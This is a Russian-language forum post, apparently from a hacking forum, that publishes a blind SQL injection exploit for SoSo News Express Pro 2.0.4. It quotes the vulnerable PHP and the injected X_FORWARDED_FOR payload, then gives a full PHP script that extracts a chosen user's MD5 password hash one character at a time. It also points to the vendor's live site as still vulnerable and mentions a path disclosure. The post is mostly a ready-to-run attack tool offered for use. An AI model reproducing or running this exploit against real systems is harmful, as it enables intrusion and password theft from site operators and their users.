SoSo News Express Pro 2.0.4. Blind SQL Injection Exploit (к сожалению, поковыряться удалось только в этой версии)
Уязвимый код:
В файле
includes/info_home.php:
Код:
$this->client_ip=!empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ( !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : (!empty($REMOTE_ADDR) ? $REMOTE_ADDR : '' ));
В файле
modules/ajax/ajax_statistic.php:
Код:
$DB->query("SELECT session_time FROM ". $DB->prefix ."stat_session WHERE client_ip='". $Info->client_ip ."' AND session_time>=". $update_time ." ORDER BY session_time DESC LIMIT 0,1");
Как видим, поле
X_FORWARDED_FOR заголовка запроса, не фильтруется.
Т.к. полученый Sql inj - слепой, но с выводом ошибки, используем запрос:
Код:
X_FORWARDED_FOR:-1' OR client_ip=IF(ascii(substring((SELECT user_password FROM news_user WHERE user_id=1),[POS],1))=[CHARCODE],'1',(SELECT 1 UNION SELECT 2))/*
Если запрос,
НЕ вернул ошибку
"Subquery returns ...", то на этой позиции находится символ [CHARCODE].
Сплоит запускать
из коммандной строки, вот так:
soso2sql.php http://site.com/ 1
Результат:
md5(password).
Собственно код:
Код:
<?
//SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
//Greets: antichat.ru & Orgasm at #antichat
$prefix="news_";
set_time_limit(0);
ignore_user_abort(1);
function send_xpl($url, $xpl){
global $id;
global $cookie;
$u=parse_url($url);
$req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
$req.="Host: ".$u['host']."\r\n";
$req.="X_FORWARDED_FOR: ".$xpl."\r\n";
$req.="Connection: Close\r\n\r\n";
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}
function xpl($condition, $pos){
global $id, $prefix;
$xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
return $xpl;
}
if($argc<2)
{
echo "==================\r\n";
echo "Using soso2sql.php url target_id\r\n target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}
$url=$argv[1];
$id=$argv[2];
echo $url."\r\n";
echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){
$flag = 0;
for($j=48;$j<=57;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
else {if($j!=48) {echo chr(8);} echo chr($j);}
}
if($flag!=1) {
for($j=97;$j<=102;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if (!$flag)
die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";
?>
Скачать можно тут:
http://www.x2b.ru/get/1401
З.Ы.
Проблема с X_FORWARDED_FOR присутствует и на официальном сайте, а значит наверняка и в более новых версиях.
Пример:
GET http://www.sosovn.com/index.php?mod=contact&act=send
Host: www.sosovn.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
X_FORWARDED_FOR: test'
Keep-Alive: 300
Connection: keep-alive
Ну и раскрытие пути: http://site/ajax.php (для версии 2.0.4)
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог:
http://qwazar.ru/.